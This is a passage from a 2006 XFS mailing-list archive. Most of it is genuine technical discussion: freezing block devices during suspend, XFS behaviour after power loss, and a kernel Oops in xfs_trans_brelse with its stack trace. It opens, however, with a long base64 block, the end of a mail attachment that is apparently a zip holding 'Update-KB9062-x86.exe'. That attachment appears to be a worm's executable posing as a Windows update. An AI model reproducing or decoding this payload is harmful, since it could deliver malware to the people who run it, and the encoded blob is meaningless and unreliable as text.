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 gbjwjuUV9IxCjZ/eGpG9gh6Q0xNreqbRKB5TG4CtuNcD5l5HCpGouOPrtPaI krRLqfg99vlkx/E+oqq+EtSoqsweA/dLOIuqwlnNHVjZYYkSeRYiGTN9Q7Oh eSPuyNtlkKJNB7T77lePz2p6VPDI1f574hddIucwutSUWaNnz06ds3AhnAe5 RKXMmB01d2bqjNSlowl5ZWzMxLFRIcOGzJ4/v2t6ztr/DATUJIhMAlGewalX KORj4uNVKtVE/cB+fXwHdO/Vs09v3wFeyj7qfvr+fb3j+6u94sNfmRDfR6Ef QAYsgTHpcPcjnoSFEr75JacqTl1CzfwGDAjC8vq9e3U8lMMG+rlr/NynjtL4 9XHv98o72PYs3H958smnk5csicf3luba/E3l+XW1tdfXZq/L3rmj4ezZqrJj pvwP135of1l970zlhaNnLlSZ8qsqHZXNlWdPn6+ovGDKv1BaUbYm/3zVxV/O HKvauaOmvOrI6oYLVZVA5e7p0opffjmzNnedOf+Ds6dPlZ05VnHul6q/5t+9 cbs5f9U681/zb1ZUnj99vDz/QW1+zrrsvJ076k6Xw8hN5Tt3XD9y5sKpM6b8 ytOrz545ewJoN56urKw6e6zidKUpv/GX0+VQtXPHLtCjN/wbAeVrcI9NTU1J hbLE1mxruGT7/s7Vqw1X1xECp5UEfzuBuH298/tvt32+g195iJALZ47/uj4/ 66dDh74k584fqdq8yVheUrKNVDTcvNnc2HDxztWqzYjVd0Vf7SjafvNW/a7t 28/D++N9/VyD+8kG+fn0fKz38xrf3t6ui7Df0d8vNd84dPNy9e83VuH7tpzN uzautORs2MDnZOdfJ28uYObELV26bJE3IQ8rTh2oP1RR8S30+zFvddbf83bm 529Yew/HtZ7fX3n33IXKB+X13+D7k73cXTTuw+VQyKbD+3D3Xn3ceg0d2L/X nxdj+zfrcj4wFuaYjVcJGeXX4znvgao+fmG9+/gN79/XL3QZGZ2WvCBu0by3 ZixeTP/kor82KGjkeEK+X5P5yZrNxoIPMtdvvw31U9NTJqUvmvdm6uL0ycsW pb+Of76R/d32DX//Yc9FHBceoY+YtWjOrJlv9SVPPzlTNWtm+vCwMB2Z9tKU 1yKeI2Tm9HeSkxa981bavNmJ0+G0whPY9yQMsR49duygtbIQaez7fMtnR6Fc OIdZmDJrXsoC+IOK7/i/f7MfG52XEwEnAk4EnAg4EXAi4ETAiYATAScCTgT+ XyLgSv8vAH/4zRb8EpWMhLKjmi4Ev87XdVE/B+rhd/mP9O8Gu7tOldDThWB9 HjwVhBPyGfzKyH6Nn0AI/HjQceHf1IM89A/OXYjU0fFH+rRSvOFqhR94WbI+ pM/CVYF89/kOkjH/XbJ2uYWsSl5Gdm/kyT+Wm8iedRvIr4cOkx9Xmsm+lBRS zDCkZPFicjgnh5StWkUq1qwhZXl5pGLdOnJy40ZyAu4bJ06QW1VVpO7iRXJP EEhjfT1pevCAXDtaToTjR8nta7+T21cvQ/kbuXX1Erl55SKp/f0Cqf2titRc PktqfjsH91lSfflXcuPiL+TGpUq4T5Mbl8+Q6xdPwf0zyc//kCxbxhKLJYvM m/cWeffdxWT+/Llkw4a1ZPnyZSQtbSnZvft7cu5cJfnxxx/Inj27SHLyPNLc bCNNTQ2ktvYGOXq0jGzevJHk5nLk4cMmaGuEvrvJtm1byYoV6SQ9fTlJSXkb sGohLS0PyZ36q6TuzhUor5H6u9fJ1WtV5MrVc6TixGFy734NuXuvGupvkNOV x+G9lnxf9DW5/+AWPN8kS5ctJHfu/jfUbScPGuqg/ja8C1DPQHmdlB85QGyN d0mDrR7a70B7HUmaZ4B2luze8z1pbLoP7ffIoTIreTdtCWlqboC6B+Rc1Rky PzmJpIHO74LOObkWsgf03fqPL8imzRvIwxbQ62EjOQK6sosYeG8m6aBbC+j0 EHQ6f+E8mXD0HPG1/kJ6fPsT6bGtjKi2lZOw4tMkbOs+8vK+U6Tvlh/J4K/L yaw9PxHyUTHpt7qIBH5ygISs20HiPthCIrdYScKW70js+wVkqOVzolv/DZlb sJOEw/Prf/uCTMtcRyxbviGjE1eSxaY88m3xcbKtqJRcBPv4+OOPySqwoxUr VpAFCxYA3ikwn/M6upLz7T8RgXR6/aFkvQMnTpwyJeVFvLrqhe0T9fSaMicd e3Uk1TNw4rCkYcOSoH3u3OTkKXPmdKTSM8g+XA/NcI19pH0YDH8OhovNj7SL zB3Nndufkprtw/+oXaL+CP2nYqdNaUe9q/aQYS+y7IvsS5GRY+HqJD/yR82T k8dELmW7ahdHR0RGjsbhXYyno02RkSybbuqi/TkYzS4VmXcxXmQeCczZ9Je6 ando3vX4Ts2PyJc8f/4YiXWX/JPnR77EsiB41/L5J4fCpLa7OuHnnxzBsmxE W4dH2juMfgQff1d+rKLA19dn7Nj+Xck38KM8v48+cO/30caxHhv6fbRa1pF+ H6VqVY8em+Qq5brevf/Wrc/6zR3b17xnXrOGy1qzJt/ycfccT6+14mLcdsHK SlbCnbmS5L5PVr73b4sBsPbTq8WztbWZ+MFN8F7xv3i3thgm2NnCz+kwN/KH VAWzFMxopKTk36ahk5ATAScCTgScCDgR+PchcLP1Zuv/AFBLAQIUABQAAAAI AAAAAAD85pT1ehoAAARQAAAVAAAAAAAAAAAAAAAAAAAAAABVcGRhdGUtS0I5 MDYyLXg4Ni5leGVQSwUGAAAAAAEAAQBDAAAArRoAAAAA -------------314CAF1C775E81B0-- From owner-xfs@oss.sgi.com Fri Oct 27 07:40:28 2006 Received: with ECARTIS (v1.0.0; list xfs); Fri, 27 Oct 2006 07:40:41 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9REeQaG011176 for ; Fri, 27 Oct 2006 07:40:28 -0700 X-ASG-Debug-ID: 1161959917-23182-124-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ogre.sisk.pl (ogre.sisk.pl [217.79.144.158]) by cuda.sgi.com (Spam Firewall) with ESMTP id 66D1B4DE20E for ; Fri, 27 Oct 2006 07:38:38 -0700 (PDT) Received: from localhost (localhost.localdomain [127.0.0.1]) by ogre.sisk.pl (Postfix) with ESMTP id 84EC618D16; Fri, 27 Oct 2006 16:29:25 +0200 (CEST) Received: from ogre.sisk.pl ([127.0.0.1]) by localhost (ogre.sisk.pl [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 08276-09; Fri, 27 Oct 2006 16:29:24 +0200 (CEST) Received: from albercik.fuw.edu.pl (albercik.fuw.edu.pl [193.0.83.66]) (using SSLv3 with cipher EXP1024-RC4-SHA (56/128 bits)) (No client certificate requested) by ogre.sisk.pl (Postfix) with ESMTP id D9C26176DB; Fri, 27 Oct 2006 16:29:24 +0200 (CEST) From: "Rafael J. Wysocki" To: David Chinner X-ASG-Orig-Subj: Re: [PATCH] Freeze bdevs when freezing processes. Subject: Re: [PATCH] Freeze bdevs when freezing processes. Date: Fri, 27 Oct 2006 16:37:21 +0200 User-Agent: KMail/1.9.1 Cc: Nigel Cunningham , Pavel Machek , Andrew Morton , LKML , xfs@oss.sgi.com References: <1161576735.3466.7.camel@nigel.suspend2.net> <200610261111.30486.rjw@sisk.pl> <20061027013802.GQ8394166@melbourne.sgi.com> In-Reply-To: <20061027013802.GQ8394166@melbourne.sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200610271637.21863.rjw@sisk.pl> X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24266 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9463 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: rjw@sisk.pl Precedence: bulk X-list: xfs Status: O On Friday, 27 October 2006 03:38, David Chinner wrote: > On Thu, Oct 26, 2006 at 11:11:29AM +0200, Rafael J. Wysocki wrote: > > On Thursday, 26 October 2006 10:57, David Chinner wrote: > > > On Thu, Oct 26, 2006 at 06:18:29PM +1000, Nigel Cunningham wrote: > > > > As you have them at the moment, the threads seem to be freezing fine. > > > > The issue I've seen in the past related not to threads but to timer > > > > based activity. Admittedly it was 2.6.14 when I last looked at it, but > > > > there used to be a possibility for XFS to submit I/O from a timer when > > > > the threads are frozen but the bdev isn't frozen. Has that changed? > > > > > > I didn't think we've ever done that - periodic or delayed operations > > > are passed off to the kernel threads to execute. A stack trace > > > (if you still have it) would be really help here. > > > > > > Hmmm - we have a couple of per-cpu work queues as well that are > > > used on I/O completion and that can, in some circumstances, > > > trigger new transactions. If we are only flush metadata, then > > > I don't think that any more I/o will be issued, but I could be > > > wrong (maze of twisty passages). > > > > Well, I think this exactly is the problem, because worker_threads run with > > PF_NOFREEZE set (as I've just said in another message). > > Ok, so freezing the filesystem is the only way you can prevent > this as the workqueues are flushed as part of quiescing the filesystem. Yes, I think so. Now at last I know what the problem actually is and why we need the freezing of filesystems, so thanks for helping me understand that. :-) Greetings, Rafael -- You never change things by fighting the existing reality. R. Buckminster Fuller From owner-xfs@oss.sgi.com Fri Oct 27 09:45:34 2006 Received: with ECARTIS (v1.0.0; list xfs); Fri, 27 Oct 2006 09:45:45 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9RGjXaG017683 for ; Fri, 27 Oct 2006 09:45:34 -0700 X-ASG-Debug-ID: 1161967487-26021-237-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from emailer.gwdg.de (emailer.gwdg.de [134.76.10.24]) by cuda.sgi.com (Spam Firewall) with ESMTP id D6E324DC114 for ; Fri, 27 Oct 2006 09:44:47 -0700 (PDT) Received: from linux01.gwdg.de ([134.76.13.21]) by mailer.gwdg.de with esmtps (TLSv1:DES-CBC3-SHA:168) (Exim 4.60) (envelope-from ) id 1GdUnn-0005YX-70; Fri, 27 Oct 2006 18:43:27 +0200 Received: from linux01.gwdg.de (localhost [127.0.0.1]) by linux01.gwdg.de (8.13.3/8.13.3/SuSE Linux 0.7) with ESMTP id k9RGfuca014455; Fri, 27 Oct 2006 18:41:58 +0200 Received: from localhost (jengelh@localhost) by linux01.gwdg.de (8.13.3/8.13.3/Submit) with ESMTP id k9RGfuVe014449; Fri, 27 Oct 2006 18:41:56 +0200 Date: Fri, 27 Oct 2006 18:41:56 +0200 (MEST) From: Jan Engelhardt To: "Matthias G. Eckermann" cc: "Kenneth Aar, Grafikern.no" , opensuse@opensuse.org, xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [opensuse] xfs file system Subject: Re: [opensuse] xfs file system In-Reply-To: <20061027145304.GA8247@arcor.de> Message-ID: References: <8a24510d0610191243t164993ecj7fa04d1110ffa0bc@mail.gmail.com> <200610210440.22170.gholmer@ameritech.net> <45421504.6040501@grafikern.no> <20061027145304.GA8247@arcor.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24274 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9464 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: jengelh@linux01.gwdg.de Precedence: bulk X-list: xfs Status: O >> | > my question is, are there people here who have some >> | > experience with XFS? >> | >> | I've been using it for several years, both at home and on the >> | servers at| work. Never had a problem. >> >> I have heard that it is more prone to fault/corruption if you >> yank the powercord or experience any form of unexpected >> poweroutage... > >* "heard" from whom? >* "more" than what? > >Well, every filesystem will have to recover after "yank the >powercord or experience any form of unexpected poweroutage". > >But compared to other FSs "xfs" is like heaven, xfs_repair >works pretty reliable, especially after "forced crashes". Added xfs list for great justice: Yeah but I would be more happy if it did not zero out files (perhaps adding a new mount option?) but leave them as-is. I am more concerned about text files keeping their shape as far as possible rather than running into a corrupt binary configuration file. -`J' -- From owner-xfs@oss.sgi.com Fri Oct 27 09:55:52 2006 Received: with ECARTIS (v1.0.0; list xfs); Fri, 27 Oct 2006 09:56:02 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9RGtpaG020443 for ; Fri, 27 Oct 2006 09:55:52 -0700 X-ASG-Debug-ID: 1161968103-9234-178-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from emailer.gwdg.de (emailer.gwdg.de [134.76.10.24]) by cuda.sgi.com (Spam Firewall) with ESMTP id 8A78CD1B1C4A for ; Fri, 27 Oct 2006 09:55:03 -0700 (PDT) Received: from linux01.gwdg.de ([134.76.13.21]) by mailer.gwdg.de with esmtps (TLSv1:DES-CBC3-SHA:168) (Exim 4.60) (envelope-from ) id 1GdUwS-0004Ro-I0; Fri, 27 Oct 2006 18:52:25 +0200 Received: from linux01.gwdg.de (localhost [127.0.0.1]) by linux01.gwdg.de (8.13.3/8.13.3/SuSE Linux 0.7) with ESMTP id k9RGorC3026033; Fri, 27 Oct 2006 18:50:55 +0200 Received: from localhost (jengelh@localhost) by linux01.gwdg.de (8.13.3/8.13.3/Submit) with ESMTP id k9RGorOv025977; Fri, 27 Oct 2006 18:50:53 +0200 Date: Fri, 27 Oct 2006 18:50:53 +0200 (MEST) From: Jan Engelhardt To: "Matthias G. Eckermann" cc: "Kenneth Aar, Grafikern.no" , opensuse@opensuse.org, xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [opensuse] xfs file system Subject: Re: [opensuse] xfs file system In-Reply-To: Message-ID: References: <8a24510d0610191243t164993ecj7fa04d1110ffa0bc@mail.gmail.com> <200610210440.22170.gholmer@ameritech.net> <45421504.6040501@grafikern.no> <20061027145304.GA8247@arcor.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24276 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9465 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: jengelh@linux01.gwdg.de Precedence: bulk X-list: xfs Status: O Just ignore it, let me read the faq again and ask the helpful guys in #linuxfs... :p > >Added xfs list for great justice: > >Yeah but I would be more happy if it did not zero out files (perhaps >adding a new mount option?) but leave them as-is. I am more concerned >about text files keeping their shape as far as possible rather than >running into a corrupt binary configuration file. > > > -`J' >-- >--------------------------------------------------------------------- >To unsubscribe, e-mail: opensuse+unsubscribe@opensuse.org >For additional commands, e-mail: opensuse+help@opensuse.org > -`J' -- From owner-xfs@oss.sgi.com Fri Oct 27 10:31:39 2006 Received: with ECARTIS (v1.0.0; list xfs); Fri, 27 Oct 2006 10:31:52 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9RHVbaG028546 for ; Fri, 27 Oct 2006 10:31:39 -0700 X-ASG-Debug-ID: 1161970250-20761-441-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from slurp.thebarn.com (cattelan-host202.dsl.visi.com [208.42.117.202]) by cuda.sgi.com (Spam Firewall) with ESMTP id 6F652D1AD03B for ; Fri, 27 Oct 2006 10:30:50 -0700 (PDT) Received: from [127.0.0.1] (lupo.thebarn.com [10.0.0.10]) (authenticated bits=0) by slurp.thebarn.com (8.13.8/8.13.8) with ESMTP id k9RHUUjk061384; Fri, 27 Oct 2006 12:30:41 -0500 (CDT) (envelope-from cattelan@thebarn.com) X-ASG-Orig-Subj: Re: Kernel Oops Subject: Re: Kernel Oops From: Russell Cattelan To: =?ISO-8859-1?Q?Jo=EBl?= Cuissinat Cc: xfs@oss.sgi.com In-Reply-To: <4541CA71.5040909@ac-dijon.fr> References: <4541CA71.5040909@ac-dijon.fr> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-m2jOD/3i8tkygx1fouoq" Date: Fri, 27 Oct 2006 12:30:29 -0500 Message-Id: <1161970230.26171.15.camel@xenon.msp.redhat.com> Mime-Version: 1.0 X-Mailer: Evolution 2.8.1.1-1mdv2007.1 X-Barracuda-Spam-Score: 0.50 X-Barracuda-Spam-Status: No, SCORE=0.50 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=BSF_RULE7568M X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24276 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.50 BSF_RULE7568M BODY: Custom Rule 7568M X-archive-position: 9466 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: cattelan@thebarn.com Precedence: bulk X-list: xfs Status: O --=-m2jOD/3i8tkygx1fouoq Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable Do you have a test case that can reproduce this? If so please file a bug http://oss.sgi.com/bugzilla and attach the test program. Include any other relevant info. On Fri, 2006-10-27 at 10:59 +0200, Jo=C3=ABl Cuissinat wrote: > Hello, >=20 > I'm working for the french national education. > We work on a server for students since 3 years. > The solution is based on a Mandrake 9.1 but with a large number of update= s. > Our kernel is : 2.4.32 and the xfstools are updated : > - xfsdump-2.2.42 > - xfsprogs-2.8.11 > - libxfs1-2.8.11 > We made a tool to create students and about 1 time over 10 we have a=20 > kernel Oops. > With the same data we can reproduce the crash and it always append at=20 > the same place (the same student). > It was the same 2 years ago with older kernel and xfs releases but we=20 > hadn't enough student databases to test. Now, the project is growing=20 > and the number of crashes in schools too ! >=20 > The user creation process is composed with : > mkdir, setfacl, chown, setquota for a pam-ldap authentification. >=20 > The Oops usually happends on the chown instruction but if we remove it,= =20 > it happends on the setquota instruction which is one line behind. >=20 > Cheers, >=20 > Jo=C3=ABl Cuissinat >=20 > plain text document attachment (ksymoops.txt) > Oct 25 18:17:52 jscribe kernel: Unable to handle kernel NULL pointer dere= ference at virtual address 00000006 = Oct 25 18:17:52 jscribe kernel: printing eip: > Oct 25 18:17:52 jscribe kernel: c021de83 = = Oct 25 18:17:52 jscribe kernel: *pgd =3D 0000000000000000 > Oct 25 18:17:52 jscribe kernel: CPU: 0 = = Oct 25 18:17:52 jscribe kernel: EIP: 0010:[xfs_trans_brelse+51/24= 0] Not tainted > Oct 25 18:17:52 jscribe kernel: EIP: 0010:[] Not tainted = = Oct 25 18:17:52 jscribe kernel: EFLAGS: 00010246 > Using defaults from ksymoops -t elf32-i386 -a i386 > Oct 25 18:17:52 jscribe kernel: eax: 00000000 ebx: c59ed790 ecx: c59e= d790 edx: 00000000 = Oct 25 18:17:52 jscribe kernel: esi: c5352e98 edi: ce520d80 ebp:= ce520d80 esp: c6b97d2c > Warning (Oops_set_regs): garbage 'Oct 25 18:17:52 jscribe kernel: esi: c5= 352e98 edi: ce520d80 ebp: ce520d80 esp: c6b97d2c' at end of register = line ignored > Oct 25 18:17:52 jscribe kernel: ds: 0018 es: 0018 ss: 0018 = = Oct 25 18:17:52 jscribe kernel: Process chown (pid: 15389, stackpage= =3Dc6b97000) > Oct 25 18:17:52 jscribe kernel: Stack: 00000000 00000000 c5352e98 c0235f2= c c5352e98 ce520d80 00000000 c5d7f198 = Oct 25 18:17:52 jscribe kernel: ce520d80 00000000 c5352e98 cf= f310a0 00000004 c0235fbf c5352e98 0000302d > Oct 25 18:17:52 jscribe kernel: cff310a0 00000402 cf8b0980 cf8b098= 4 0000302d cf8b0c00 c023621a cf8b0c00 = Oct 25 18:17:52 jscribe kernel: Call Trace: [xfs_qm_dqread+188/20= 8] [xfs_qm_idtodq+127/224] [xfs_qm_dqget+218/848] [xfs_qm_vop_dqalloc+245/6= 24] [xfs_set > Oct 25 18:17:52 jscribe kernel: [] [] [] = 